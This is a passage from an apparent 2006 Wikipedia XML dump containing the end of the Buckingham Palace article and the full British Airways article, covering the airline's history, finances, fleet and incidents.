Historically, there have been many other lapses.  Probably the most incredible but true was in 1837, when a 12-year-old boy known to history as [[The boy Cotton]] managed to live for a year undetected inside the palace.  Hiding in chimneys and blackening the beds he slept in, he was finally apprehended in December 1838, causing questions on royal security to be asked in Parliament. &quot;The Mudlark&quot;, a 1949 novel by American writer [[Theodore Bonnet]], was loosely based on his story. In 1950 a romanticised film, starring Irene Dunne, Alec Guinness and Anthony Steel, was made of the novel. Of the eight [[assassination]] attempts made on Queen Victoria, at least three occurred in the vicinity of the palace gates.  In the early 20th century the front of the palace became a favoured venue for [[suffragettes]], who would chain themselves to the gilded iron railings.  Over the years numerous intruders have been apprehended in the palace grounds, including one who wished to propose marriage to Princess Anne, and who was declared insane. However, as the Queen is officially a non-political figure, demonstrations and protests tend to rally at the [[Palace of Westminster]] or [[Trafalgar Square]], rather than Buckingham Palace.

==Use and public access==
[[Image:Bpalacejack.700px.jpg|250px|left|thumb|Buckingham Palace with the [[Union Flag]] projected onto it for [[Christmas Eve]] 2003]] 

In addition to being the weekday home of the Queen and the [[Prince Philip, Duke of Edinburgh|Duke of Edinburgh]], the palace is the work place of 450 people. Every year some 50,000 people are entertained at garden parties, receptions, audiences, and banquets. Buckingham Palace is also the venue for the daily ceremony of the [[Changing of the Guard]], a major tourist attraction.  In June 2003 on the occasion of the Queen's golden [[jubilee]] thousands of Britons were invited to apply for tickets to a [[pop concert]], preceded the previous evening by a [[European classical music|classical concert]] in the grounds of the palace.  These concerts, where the guests were given [[champagne (beverage)|champagne]] and a [[picnic]], were the first occasions  when ordinary [[subjects]] and members of the public had been invited onto the premises for entertainment, without having to first distinguish themselves.  The guests at the regular garden parties, while numerous and from all stations in life, are usually those who hold a public position, or are in some way of national interest.

The Summer Opening of the Palace [[State Room]]s to the public was a huge change to tradition in the 1990s. The money raised in entry fees was originally used towards the rebuilding of [[Windsor Castle]] after the fire that destroyed many of its State Rooms. Each Summer, in the months of August and September, the West Wing of the Palace is opened to the general public. A staff of around 200, mainly students, is employed to run the Opening. These are employed in a number of different areas around the Palace - 'Queue', 'Visitor Entrance', 'Security', 'Baggage', 'State Rooms', 'Access' and 'Garden'. The visitor route for 2006 onwards is currently being updated for reasons of presentation and security.

Contrary to popular belief, the palace is not the private property of the Queen; Windsor Castle and Buckingham Palace and their art collections belong to the nation.
[[Image:AdmiraltyArchLondon.jpg|250px|right|thumb|[[Admiralty Arch]], the beginning of the ceremonial approach to Buckingham Palace, was designed by Sir [[Aston Webb]] and completed in 1911 as part of a grand memorial to [[Victoria of the United Kingdom|Queen Victoria]], which culminated in a vast statue of Victoria sculpted by Sir [[Thomas Brock]] in front of Webb's newly refaced Buckingham Palace.  The arch today provides apartments for high-ranking [[civil servant]]s and [[Minister of State|Ministers of State]].]] 
The priceless furnishings, paintings, fittings and other artefacts, many by [[Peter Carl Fabergé|Fabergé]], from Buckingham Palace and Windsor Castle are known collectively as the [[Royal Collection]]; owned by the [[nation]], they can be viewed by the public when the palace and castle are open to the public at various times of the year. The [[Queen's Gallery]] near the [[Royal Mews]] is open all year and displays a changing selection of items from  the collection. The rooms containing the Queen's Gallery are on the site of the former chapel, which was severely damaged by one of the seven bombs which fell on the palace during [[World War II]].

[[The Mall (London)|The Mall]], the ceremonial approach road to the palace, extends from [[Admiralty Arch]], up the Mall, around the [[Victoria Memorial (London)|Victoria Memorial]] to the Palace [[forecourt]]. The tarmac's reddish colour recalls the red carpets of former times.  Devised as a memorial to Queen Victoria, this route is used by the cavalcades and motorcades of all visiting heads of state, and by the Royal Family on state occasions such as the annual [[State Opening of Parliament]].  On these occasions the processions pass through Admiralty Arch and into the Mall, which has been closed for the occasion, often bringing traffic chaos to other parts of London.
[[Image:Buckingham Palace garden party ILN 1868.jpg|thumb|250px|left|A garden party at Buckingham Palace in 1868.]]
At the rear of the palace is the large park-like [[Buckingham Palace Gardens|garden]], the largest private garden in London. The landscape design was by [[Capability Brown]] but the garden was redesigned at the time of the palace rebuilding by [[William Townsend Ailton]] of [[Kew Gardens]] and John Nash. The great man-made lake was completed in 1828 and is supplied with water by the [[Serpentine Lake]] in [[Hyde Park, London|Hyde Park]].  Like the palace itself, the gardens are rich in works of art.  One of the most notable is the [[Waterloo Vase]], the great urn commissioned by [[Napoleon]] to commemorate his anticipated victories, which in 1815 was presented unfinished to [[George IV of the United Kingdom|the Prince Regent]] by [[Ferdinand III, Grand Duke of Tuscany|Ferdinand, Grand Duke of Tuscany]].  The king had the vase completed by the sculptor [[Richard Westmacott]] with the intention that it be the focal point of the new Waterloo chamber at Windsor Castle. But weighing 15 tons and at 15 ft high, no floor could bear the weight, and it was presented to the [[National Gallery, London|National Gallery]]. The Gallery finally returned the [[white elephant]] to the sovereign in 1906.  [[Edward VII of the United Kingdom|Edward VII]] then solved the problem by placing the vase outside in the garden where it now remains.  Also in the gardens is a small summerhouse attributed to [[William Kent]], circa 1740.
[[Image:Buck palace + change guards 028.jpg|thumb|250px|right|A View of the Palace from the Mall]]

Adjacent to the palace is the [[Royal Mews]], also designed by Nash, where the royal carriages, including the [[Gold State Coach]], are housed.  This [[rococo]] gilt coach, designed by Sir [[William Chambers (architect)|William Chambers]] in 1760, has painted panels by [[Giovanni Battista Cipriani|G. B. Cipriani]].  It was first used for the State Opening of Parliament by George III in 1762  and is used by the monarch only for [[coronation]]s or jubilee celebrations. Also housed in the mews are the carriage horses used in the royal ceremonial processions which take place in London.

==Flags at Buckingham Palace==
[[Image:Royal_Standard.gif|200px|thumb|The [[Royal Standard]] flies over the Palace when the sovereign is in residence]]

The [[Queen's Flag Sergeant]] is responsible for all flags flown from the palace. Until 1997 the only [[flag]] to fly from Buckingham Palace was the [[Royal Standard]], the official flag of the reigning British sovereign, and only when the sovereign was in residence at the palace. Even in times of mourning, the Royal Standard would not fly at [[half mast]].  The only time another flag would fly from the Palace would be upon the death of the sovereign, when the flag of the next senior member of the Royal Family would be raised. In 1952, the Standard of [[Queen Elizabeth, the Queen Mother]] was raised upon the death of [[George VI of the United Kingdom]] because the new sovereign, Elizabeth II, was still in residence at [[Clarence House]]. 

This tradition changed in 1997, following the death of [[Diana, Princess of Wales]], when there was public outrage because the palace did not fly a flag at half mast. The Queen was at [[Balmoral Castle]] at the time, so there was no flag flying. In response to this display of public opinion, the Queen ordered a break with protocol and the [[Union Flag]] was flown at half mast over the Palace on the day of Diana's funeral. Since then, the Union Flag flies from the Palace when the Queen is not in residence, and has flown at half mast upon the deaths of members of the Royal Family, and other times of national mourning such as following the [[7 July 2005 London bombings|terrorist bombings in London on 7 July 2005]].

==The Palace today==
[[Image:Buckinghampalacebalcony.jpg|thumb|left|200px|The royal family on the balcony]]

Today, Buckingham Palace is not only the home of the Queen and Prince Philip but also the London residence of [[Prince Andrew of the United Kingdom|Duke of York]] and the [[Prince Edward, Earl of Wessex|Earl and Countess of Wessex]].  The palace also houses the office of the monarchy and its associated functions.  Compared to other British royal palaces and [[castle]]s, Buckingham Palace is comparatively new, yet the words &quot;Buckingham Palace&quot; have come to symbolise the British monarchy. At the end of both [[World War I]] and World War II vast crowds spontaneously gathered at the palace, as they had at the end of the [[Second Boer War]].  An estimated crowd of one million people gathered in London, many in front of the palace, to see the Queen on her [[Golden Jubilee]] in June 2002.  At the Golden Jubilee [[concert]], guitarist [[Brian May]] performed [[God Save the Queen]] on the guitar on top of Buckingham Palace.

==See also==
* World Heritage Programme: [[Castle preservation]] Worldwide
* [[Great house]]
[[Image:buckingham.palace.london.arp.jpg|thumb|right|250px|Buckingham Palace in 2005]]
* [[Palace|List of Palaces]]
*: ''including the other past and present London palaces:''
** [[Kensington Palace]]
** [[Palace of Placentia]]
** [[Savoy Palace]]
** [[Palace of Westminster]] – Royal residence from 1049 until 1530
** [[Palace of Whitehall]] – Royal residence from 1530 until 1698
** [[St. James's Palace]] – Royal residence from 1702 until 1837
* [[UK topics]]
* [[History of the United Kingdom]]

==Footnotes==
#{{note|redecorationEdwardVII}}Robinson (Page 9) asserts that the decorations, including plaster swags and other decorative motifs, are &quot;finicky&quot; and &quot;at odds with Nash's original detailing&quot;.
#{{note|rooms}} Robinson. Page 11

==References==
*Blaikie, Thomas (2002). ''You look awfully like the Queen: Wit and Wisdom from the House of Windsor''. London: Harper Collins. ISBN 0007148747.
*Harris, John; de Bellaigue, Geoffrey; &amp;  Miller, Oliver (1968). ''Buckingham Palace''.  New York: Viking Press. Library of Congress catalogue card no: 62-23206.
*Headley, Olwen (1970) ''Buckingham Palace''. Garrod &amp; Lofthouse Ltd. ISBN 85372 086 X
*Robinson, John Martin (1999). ''Buckingham Palace''. Published by The Royal Collection, St. James's Palace, London ISBN 1902163362.
*Williams, Neville (1971). ''Royal Homes''. Lutterworth Press. ISBN 0718808037.
*Woodham-Smith, Cecil (1973). ''Queen Victoria'' ''(vol 1)'' Hamish Hamilton Ltd.

==External links==
{{commons|Buckingham Palace}}
*[http://maps.google.com/maps?ll=51.500956,-0.142500&amp;spn=0.004731,0.004903&amp;t=k&amp;hl=en Google Maps Satellite View of Buckingham Palace]
*[http://www.royal.gov.uk/output/page555.asp Buckingham Palace], official site
{{mmuk maphot|529000|179500}}
*[http://www.thisislondon.com/londoncuts/articles/17410992 One's home is a dump] ([[22 March]] [[2005]])
*[http://www.mirror.co.uk/news/allnews/content_objectid=13637617_method=full_siteid=50143_headline=-INSIDE-THE-PRESIDENT-S-BEDROOM-name_page.html Images of the Belgian Suite from The Mirror Newspaper]
{{Royal Palaces UK}}

[[Category:English cultural icons]]
[[Category:Grade I listed buildings in London]]
[[Category:Grade I listed buildings]]
[[Category:Palaces in England]]
[[Category:Royal buildings in London]]
[[Category:Royal residences in the United Kingdom]]
[[Category:Westminster]]

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  </page>
  <page>
    <title>British Airways</title>
    <id>3970</id>
    <revision>
      <id>42093637</id>
      <timestamp>2006-03-03T20:03:32Z</timestamp>
      <contributor>
        <username>KnowledgeOfSelf</username>
        <id>452631</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/195.93.21.70|195.93.21.70]] ([[User talk:195.93.21.70|talk]]) to last version by Dbinder</comment>
      <text xml:space="preserve">{{Infobox_Airline |
airline=British Airways|
logo=British_Airways_logo.png|
logo_size=250px|
IATA=BA|
ICAO=BAW|
callsign=[[Speedbird]] / Shuttle|
parent=British Airways Plc.|
founded=[[1924]] (as [[Imperial Airways]])|
headquarters=[[London]], [[England]], [[United Kingdom]]|
key_people=[[Willie Walsh]] ([[CEO]])|
hubs=[[London Heathrow Airport]]&lt;br&gt;[[London Gatwick Airport]]|
focus_cities=[[Manchester International Airport]]|
frequent_flyer=[[Executive Club]]|
lounge=[[Executive Club Lounge]]|
alliance=[[Oneworld (airlines)|'''one'''world]]|
fleet_size=363|
destinations=222|
website= http://www.ba.com|
}}
{{dablink|For the 1930s airline of similar name see [[British Airways Ltd]]}}
'''British Airways''' ({{lse|BAY}}, {{nyse|BAB}}) is the largest [[airline]] of the [[United Kingdom]]. It is also one of the largest airlines in the world, with more flights from [[Europe]] across the Atlantic than any other operator. Its main [[Airline hub|hubs]] are [[London Heathrow Airport|London Heathrow]] and [[London Gatwick Airport|London Gatwick]], with wide-reaching European and domestic shorthaul networks, including smaller hubs at other UK airports including [[Glasgow International Airport|Glasgow]] and [[Manchester International Airport|Manchester]], from which some longer-haul flights are also operated.

==History==
{| align=right
| [[Image:ba.b757-200.g-cpen.750pix.jpg|thumb|right|250px|British Airways [[Boeing 757]].]]
|-
| {{British Airways}}
|}
The airline's origins go back to the birth of civil aviation and the pioneering days after the First World War. On [[25 August]] [[1919]] its forerunner company, Aircraft Transport and Travel (AT&amp;T), launched the world's first daily international scheduled air service, between [[London]] and [[Paris]]. On [[31 March]] [[1924]], Britain's four fledgling airlines - Instone, Handley Page, Daimler Airways (a successor to AT&amp;T) and British Air Marine Navigation - merged to form [[Imperial Airways]], which developed its Empire routes to [[Australia]] and [[Africa]].

Meanwhile a number of smaller UK air transport companies had started flights. These merged in [[1935]] to form the original privately-owned [[British Airways Ltd]]. Following a government review Imperial Airways and British Airways were nationalised in [[1939]] to form the [[British Overseas Airways Corporation]] (BOAC). Post-war, BOAC continued to operate long-haul services, other than routes to South America - these were flown by [[British South American Airways]], which was merged back into BOAC in [[1949]]. Continental European and domestic flights were flown by a new airline, [[British European Airways]] (BEA). 

The 1950s saw the world enter the passenger jet era - led by BOAC, with the [[De Havilland Comet]] flying to [[Johannesburg]] in [[1952]], halving the previous flight time. The birth of the mass package-holiday business meant changes for the airline industry. BEA met this by establishing BEA Airtours, which took off in [[1970]]. In [[1972]] BOAC and BEA were combined under the newly formed British Airways Board, with the separate airlines coming together as British Airways in [[1974]]. British Airways, simultaneously with [[Air France]], inaugurated the world's first supersonic passenger service with [[Concorde]] in January [[1976]].

===Privatisation===
[[John King (businessman)|Sir John King]], later Lord King, was appointed as Chairman in [[1981]] with the mission of preparing the airline for privatisation. King hired [[Colin Marshall]] as CEO in [[1983]]. King was credited with turning around the loss-making giant into one of the most profitable air carriers in the world, boldly claiming to be &quot;The World's Favourite Airline&quot;, while many other large airlines struggled.  The airline's fleet and route map were overhauled in the early years of King's tenure, with brand and advertising experts being recruited to overhaul the airline's image. Over 23,000 jobs were shed in the early 1980s, though King managed the considerable trick of boosting staff morale and modernise operations at the same time.  Lord King also recognised the importance of Concorde to the company's business strategy, and used the supersonic airliner to win business customers by guaranteeing a certain number of Concorde upgrades in return for corporate accounts with BA. 

The flag carrier was privatised and floated on the [[London Stock Exchange]] in February [[1987]] by the [[Conservative Party (UK)|Conservative]] government, with the initial share offering being 11 times oversubscribed. In April [[1988]] British Airways effected the controversial takeover of Britain's second-force airline [[British Caledonian]], and in [[1992]] absorbed Gatwick-based carrier [[Dan-Air]].  

===&quot;Dirty tricks&quot;===
Soon after privatisation [[Richard Branson]]'s [[Virgin Atlantic Airways|Virgin Atlantic]], which began with one route and one [[Boeing 747]] in [[1984]], was beginning to emerge as a serious threat on some of BA's most lucrative routes. Following Virgin's highly publicised mercy mission to [[Iraq]] to fly home hostages of [[Saddam Hussein]] in [[1991]], King is reported to have told Marshall and his PA Director [[David Burnside]] to &quot;do something about Branson&quot; ¹. This began the campaign of &quot;dirty tricks&quot; that ended in Branson suing King and British Airways for [[libel]] in [[1992]]. King countersued Branson and the case went to trial in [[1993]]. British Airways, faced with likely defeat, settled the case, giving £500,000 to Branson and a further £110,000 to his airline; further, BA was to pay the legal fees of up to £3 million. Branson divided his compensation among his staff, the so-called &quot;BA bonus&quot;.

[[Image:ba.concorde.g-boac.719pix.jpg|thumb|left|250px|British Airways [[Concorde]], since retired]] 

During the 1990s BA became the world's most profitable airline and trumpeted the slogan &quot;The World's Favourite Airline.&quot; In [[1992 in aviation|1992]] [[Deutsche BA]] was established as a subsidiary operating in [[Germany]]. By the time it was sold in June [[2003]] DBA was operating 16 [[Boeing 737]]s and was the second-largest German domestic carrier, after [[Lufthansa]].

Lord King stepped down as chairman in [[1993]] and was replaced by former deputy Colin Marshall, who initially combined the roles of CEO and Chairman.  [[Bob Ayling]], who would later take on the role of CEO, was appointed Managing Director by Marshall at that time.  Lord King was appointed President, a role created specifically for him, and became President [[Emeritus]] in [[1997]], until his death in July [[2005]].

In [[1995 in aviation|1995]] BA formed [[British Asia Airways]], a subsidiary based in [[Taiwan]]. British Asia Airways was set up due to political sensitivities, the Union Jack tailfin being replaced by Chinese characters. Many airlines followed the same practice, e.g. [[Qantas]] flew to Taiwan as &quot;Australia Asia Airways&quot; and KLM's Taiwan operations became &quot;KLM Asia&quot;.  [[British Asia Airways]] ceased operation in 2001 as the airline suspend operation to [[Taiwan]] due to low yield.

===Bob Ayling===
In [[1996 in aviation|1996]] British Airways, with its newly appointed Chief Executive Bob Ayling, entered a period of turbulence. Increased competition, high oil prices and a strong pound hurt profits. BA management and trade unions clashed and the resulting disruption cost the company hundreds of millions of pounds. In 1997 Ayling dropped BA's traditional Union Flag tailfin livery in favour of [[British Airways ethnic liveries|world design tailfins]], in an effort to change its image from a strictly British and aloof carrier to a more cosmopolitan airline. The move was not a success and Ayling slowed the process, eventually declaring the fleet would sport a dual livery; half a Union Flag design, half the world design tailfins. Ayling devoted a lot of time pursuing a merger with [[American Airlines]], but this was ultimately unsuccessful due to the conditions placed on the deal by regulatory authorities, the most painful of which would have been the sacrificing of landing slots at Heathrow. 

Positive news during Ayling's reign included cost savings of £750m and the establishment of the successful, but highly subsidised, [[Go Fly|Go]] in [[1998 in aviation|1998]]. Go was a [[low-cost carrier|low-cost]] carrier intended to compete in the rapidly emerging &quot;no-frills&quot; segment.  After four years of successful operations, the airline was sold off to venture capitalists [[3i]] and later merged with [[Easyjet|easyJet]]. Another efficiency sought by Ayling was the reduction of capacity, cancelling [[Boeing 747-400]] orders in favour of the [[Boeing 777]] and rationalising BA's short-haul fleet with an order for the efficient Airbus A319/A320/A321 family.

===Rod Eddington===
In [[1999 in aviation|1999]] British Airways reported a 50% slump in profits, its worst since privatisation. In March [[2000]] Bob Ayling was removed from his position. British Airways announced [[Rod Eddington]] as his successor in May. Eddington set about cutting the workforce further, dramatically so after the slump caused by the [[September 11th attacks]] in [[2001]]. In May 2001 Eddington announced the return of the Union Flag to the entire fleet, reversing his predecessor's rebranding exercise.

Marshall, who had been appointed a [[life peer]] in [[1998]], retired as Chairman in July [[2004]] and was replaced by [[Martin Broughton]], former Chairman of [[British American Tobacco]]. 

On [[8 March]] [[2005]], Broughton announced that former [[Aer Lingus]] CEO [[Willie Walsh]] would take over from Rod Eddington upon his retirement in September 2005.

During the fiscal year ending 2005, BA carried some 35m passengers on revenue exceeding £7.8bn, posting a pre-tax profit of £415m. It employs 51,939 staff.

===Willie Walsh===
In September 2005 new CEO Willie Walsh announced changes to the management of British Airways, with the aim of saving £300 million by 2008, the cost of the move to Heathrow's Terminal 5. Walsh had shadowed his predecessor for four months prior to taking charge of the company.

===Industrial action===
Over the last 3 years British Airways employees have engaged in substantial strike action three times. Over 600 BA flights were grounded on [[11 August]] [[2005]] - [[12 August]] [[2005]], when [[baggage handler]]s, loaders, and cargo staff went on strike in support of laid-off catering workers.

==Financial performance==
{| class=&quot;wikitable&quot;
! Year ended
! Turnover (£m)
! Profit/(loss) before tax (£m)
! Net profit/(loss) (£m)
! Basic [[earnings per share|eps]] (p) 
|- 
| [[31 March]] [[2005]]
| 7,813
| 415
| 251
| 23.4 
|- 
| [[31 March]] [[2004]]
| 7,560
| 230
| 130
| 12.1 
|- 
| [[31 March]] [[2003]]
| 7,688
| 135
| 72
| 6.7 
|- 
| [[31 March]] [[2002]]
| 8,340
| (200)
| (142)
| (13.2) 
|- 
| [[31 March]] [[2001]]
| 9,278
| 150
| 114
| 10.5 
|- 
| [[31 March]] [[2000]]
| 8,940
| 5
| (21)
| (2.0) 
|- 
| [[31 March]] [[1999]]
| 8,915
| 225
| 206
| 19.5 
|- 
| [[31 March]] [[1998]]
| 8,642
| 580
| 460
| 44.7 
|- 
| [[31 March]] [[1997]]
| 8,359
| 640
| 553
| 55.7 
|- 
| [[31 March]] [[1996]]
| 7,760
| 585
| 473
| 49.4 
|}

==Current Operations==
[[Image:ba.b737-436.g-docp.800pix.jpg|thumb|right|250px|British Airways [[Boeing 737|Boeing 737-400]].]]

British Airways is based at [[London Heathrow Airport]] in [[London]], [[England]]. It also has a commanding presence at [[London Gatwick Airport|Gatwick]] and [[Manchester International Airport]]. BA has succeeded in dominating Heathrow to the point that the airport is commonly referred to as ''Fortress Heathrow'' within both the airline and its competitors.

As an incumbent airline, BA had ''[[grandfather rights]]'' to around 36% of takeoff and landing slots at Heathrow, many of which are used for the lucrative trans-Atlantic market. Some competitors, such as [[Virgin Atlantic Airways|Virgin Atlantic]], [[Bmi (airline)|bmi]] and [[United Airlines]], assert that this stifles competition and some political think-tanks recommend an auction of slots. In recent years British Airways has been buying slots from other airlines including [[United Airlines]], [[SN Brussels]] and [[Swiss International Air Lines]], and now owns about 42% of slots at Heathrow. 

Some British Airways services are operated by various subsidiaries and franchisees:

===Subsidiaries===
*[[BA Connect]]

===Franchisees===
*[[British Mediterranean Airways]], UK, franchisee since [[1997]].
*[[Comair (South Africa)|Comair]], [[South Africa]], franchisee since 1996.
*[[GB Airways]], UK, franchisee since [[1 February]] [[1995]].
*[[Loganair]], UK, franchisee since July [[1994]].
*[[Sun Air of Scandinavia|Sun Air]], [[Denmark]], franchisee since [[1 August]] [[1996]].

British Airways is pioneering the use of &quot;flat beds&quot; in the premium cabins on their long-haul routes and has the most flat beds of any airline on their aircraft. On [[8 September]] [[2004]] British Airways announced that it was to sell its 18.5% stake in [[Qantas]], but would continue their alliance (such as sharing revenue), particularly on the Kangaroo routes. Commentators have suggested that while the expected £425m from the sale will be used to reduce the airline's debt mountain it may also be used to fund expansion.

It owns a 9% stake in Spanish airline [[Iberia Airlines|Iberia]].

British Airways is a founding member of the [[oneworld]] [[airline alliance]].

==Incidents and Accidents==
*On the [[24 June]] [[1982]], [[British Airways Flight 009|flight 009]], a 747-200, G-BDXH, ''City of Edinburgh'' flew through a cloud of volcanic ash and dust from the eruption of [[Mount Galunggung]], causing all four engines to fail. The aircraft managed to glide out of the dust cloud and restart three engines, allowing it to make an emergency landing at [[Jakarta]].

*On [[10 June]] [[1990]], [[British Airways Flight 5390]], a [[BAC 1-11]] flight between [[Birmingham]] and [[Malaga]], suffered a windshield blowout. The pilot was partially sucked out of the cockpit but was held back by the crew. The co-pilot landed the plane safely at [[Southampton Airport]] with no fatalities.

* On [[August 2]], [[1990]]- [[British Airways Flight 149]] landed at [[Kuwait International Airport]] four hours after the Iraqi invasion of Kuwait, leading to the capture of the passengers and crew, and the destruction of the aircraft.

*On [[19 February]] [[2005]], the No 2 engine of a [[Boeing 747]]-400 (G-BNLG) surged and suffered internal damage just after take off from [[Los Angeles, California|Los Angeles]] on a flight to [[London Heathrow Airport|London Heathrow]] with 16 crew and 351 passengers on board. The crew shut the engine down. They continued the climb and, having checked the performance figures, decided that continuing to [[London]] was possible. Because it was cleared for a lower transatlantic flight level than requested, the aircraft suffered a fuel shortage and had to divert to [[Manchester]]. The [[United States]] [[Federal Aviation Administration]] has been critical of the crew's decision, but there was no breach of regulations and BA has supported the crew decision (ref:Flight International, July 2005).

*On [[25 February]] [[2005]], a crew flying the same aircraft (G-BNLG) also had to shut an engine down, this time in the cruise from [[Singapore]] to [[London]], and the crew again elected to continue. This time they landed without any further incident at their destination (ref: Flight International, July 2005).

==Destinations==
{{main articles|[[British Airways destinations]] and [[British Airways franchise destinations]]}}

==Fleet==
[[Image:ba.a319-131.g-eupo.750pix.jpg|thumb|right|250px|British Airways [[Airbus A319-100]] (G-EUPO)]]
[[image:britaw.a319-100.g-eupu.arp.jpg|thumb|right|250px|British Airways Airbus A319-100 (G-EUPU)]] 

Up until recently for its main fleet, BA had traditionally been a [[Boeing]] customer.  This has been always been a subject of controversy, as many expect that as a British carrier it would be natural for BA to support the British manufacturing industry and buy [[Airbus]] jets ([[BAE Systems]] build all wings for Airbus jets and many Airbus subcontractors are based in the UK).  The company has defended its decision by arguing that, with the exception of 29 of its 777 fleet, it has always equipped its Boeing aircraft with British-made [[Rolls-Royce plc|Rolls-Royce]] engines; although some of their newer 777s are now powered by Rolls Royce Trents. This goes back to the [[1960s]] when the company ordered [[Boeing 707]]s - a condition was placed on the company that it used Rolls-Royce power for the new jets.

However, it has operated non-Boeing planes in the past mainly as a result of takeovers and joint agreements with other airlines.  One example of this was planes acquired through the buyout of [[British Caledonian|British Caledonian Airways]] in the [[1980s]]; it successfully operated the [[Douglas DC-10]] and [[Airbus A320]] for a number of years. In the late 1990s British Airways placed its own first direct Airbus order, for over 100 A320/A319s to replace its own ageing fleet of Boeing 737s.

BA was an operator of the famous Aerospatiale-BAC [[Concorde (aeroplane)|Concorde]] [[supersonic]] [[airliner]], with a daily service between Heathrow and [[John F. Kennedy International Airport|New York JFK]] (although the original service was from London to [[Bahrain]]). Initially, Concorde was very much a financial burden, placed on the national carrier by the government, and attracted criticism from the press as a white elephant. However [[John King, Baron King of Wartnaby|Lord King]] recognised the importance of Concorde to British Airways, and the one thing that everybody agreed was the charismatic value of the aircraft. BA used Concorde to win business customers, guaranteeing a certain number of Concorde upgrades in return for corporate accounts with the airline - a key factor in winning business from transatlantic competitors.

With the [[Air France Flight 4590|Paris Crash]] in [[2000]], followed by the 9/11 [[September 11, 2001 attacks|terrorist attacks]] the following year, coupled to escalating maintenance costs, the future of Concorde was limited &amp;mdash; this despite an expensive upgrade. It was announced (on [[10 April]] [[2003]]) that, after [[24 October]] [[2003]], they would cease scheduled services with Concorde, due to depressed passenger numbers. The last day of its Saturday-only London Heathrow to [[Barbados]] Concorde flight was on [[30 August]] [[2003]].

===Current Fleet===
The British Airways fleet consists of the following aircraft (at December 2005):

*33 [[Airbus A319|Airbus A319-100]] (further 3 on order)
* 5 [[Airbus A320|Airbus A320-100]]
*21 [[Airbus A320|Airbus A320-200]] (further 3 on order)
* 7 [[Airbus A321|Airbus A321-200]]
*5 [[Boeing 737-300]]
*18 [[Boeing 737-400]]
*9 [[Boeing 737-500]]
*57 [[Boeing 747-400]]
*13 [[Boeing 757-200]]
*21 [[Boeing 767-300|Boeing 767-300ER]]
*3 [[Boeing 777-200]]
*40 [[Boeing 777-200|Boeing 777-200ER]]

===Future===
The long-term replacement of the 767 fleet is likely to lead to a purchase of the [[Boeing 787]] or [[Airbus A350]].[http://seattlepi.nwsource.com/business/237717_air24.html]
Additionally it is now seen likely that selection for the replacement of the Boeing 737 Classic fleet of 34 aircraft will see both  [[Airbus A320]] series and [[Boeing 737NG]] evaluated, rather than being a simple follow-on order for additional A320 series aircraft. [http://www.flightinternational.com/Articles/2006/01/17/204072/+BA+grapples+with+747+succession+.html]
British Airways' decision to replace its Boeing 747-400s will be viewed with interest, whether it selects the [[Airbus A380]] or [[Boeing 747-8]].

==Tail fins==
{| align=right
|[[Image:ba.b767-300.g-bzhb.800pix.jpg|thumb|right|250px|British Airways [[Boeing 767]], featuring [[British Airways ethnic liveries|Ethnic art tailfin]].]]
|-
|[[image:blue.peter.ba.b757.london.arp.jpg|thumb|right|250px|The [[Blue Peter]] special-paint British Airways [[Boeing 757]]-200]]
|}
{{see|British Airways ethnic liveries}}
Since its formation in 1974, though to a limited extent until all aircraft were repainted, British Airways aeroplanes carried a [[Union Flag]] scheme painted on their [[tail fin]]s. In [[1997]], they began to be repainted (and the planes re-named) with abstract world images, [[Delft pottery]] or [[calligraphy|Chinese calligraphy]] for example, relating to countries they fly to. This caused problems with [[air traffic control]]: previously controllers had been able to tell pilots to follow a BA plane, but because they were each painted in different colours they were harder to identify.

[[Margaret Thatcher]] famously covered the tail fin of a model aircraft with the new design using her [[handkerchief]] at the 1997 [[Conservative Party (UK)|Conservative Party]] conference. She claimed they made it look like a [[third world]] airline. &quot;We fly the British flag, not these awful things.&quot; 

In [[May 2001]], chief executive [[Rod Eddington]] declared that all BA planes would be repainted with the [[Chatham Dockyard Union Flag]], a design first used on [[Concorde]].

==World Cargo==
BA is, through its subsidiary British Airways World Cargo, the world's fifth-largest [[cargo airline]].  BA World Cargo has extensive global reach through the British Airways scheduled network.  In addition to the main fleet, BA World Cargo [[wet lease]] three [[Boeing 747-400F]] dedicated freighter aircraft from [[Global Supply Systems]] on a long term basis, as well as utilising space on dedicated freighters operated by other carriers on European services.  Dedicated freighter services allow the airline to serve airports not currently connected to the scheduled network, such as [[London Stansted Airport|London Stansted]], [[Glasgow Prestwick International Airport|Glasgow Prestwick]], [[Frankfurt-Hahn Airport|Frankfurt-Hahn]], [[Vitoria]] and [[Seoul]].  

British Airways opened its £250m World Cargo centre, ''Ascentis'', at Heathrow in 1999.  As one of the largest and most advanced automated freight handling centres in the world, it contains a Special Handling Centre for unusual and premium cargo, and a Perishables Handling Centre for fresh produce, of which it handles over 80,000 t per year.  BA World Cargo also handles freight at London's Gatwick and Stansted airports, and, through its partner British Airways Regional Cargo, at all of the main regional airports throughout the UK.

==Other facts==
[[image:britaw.b747-400.g-bnlo.arp.jpg|thumb|right|250px|British Airways [[Boeing 747|Boeing 747-400]].]]  

*British Airways and [[Air France]] were the only two Concorde operators.
*British Airways was the first airline to implement full-flat beds in [[Business class]], many airlines subsequently followed the practice.
*The airline is the largest operator of the [[Boeing 747|Boeing 747-400]], with 57 aircraft. [[Japan Airlines|JAL]] has the largest fleet of 747s, but only 45 Series 400s.
*British Airways aircraft generally use the [[Airline call sign]] &quot;Speedbird&quot; in [[Air traffic control|ATC]] radio transmissions. On UK Domestic routes from Heathrow and Gatwick the call sign &quot;Shuttle&quot; is used. Christmas charters use the call sign &quot;Santa&quot;.
*British Airways has featured prominently in recent [[James Bond]] films, most notably an air-air shot of a BA 747 in ''[[Die Another Day]]''.
*Boeing's airline code for BA is XXX-X36, i.e. 737-236, 747-436, 777-236.
*British Airways' [[Frequent Flyer Program]] is one of the largest in the world, and is known as the [[Executive Club]]
*In recent years, British Airways has transported [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] and the [[Prime Minister of the United Kingdom|British Prime Minister]] on official duties, using a dedicated Boeing 777 aircraft. [[Royal Air Force]] transports were traditionally used in such roles.
*British Airways was, together with Virgin Atlantic, a premier partner of the [[London 2012 Olympic bid]] campaign.  One of the airline's Boeing 747-400 aircraft became a &quot;flying petition&quot; for the games, with Prime Minister [[Tony Blair]] being the first to sign the aircraft.  The official bid campaign video also featured BA and Virgin flight attendants 'competing' in a race to cross a road.
*The music used on BA advertisements for many years is &quot;Flower Duet&quot; by [[Léo Delibes]].
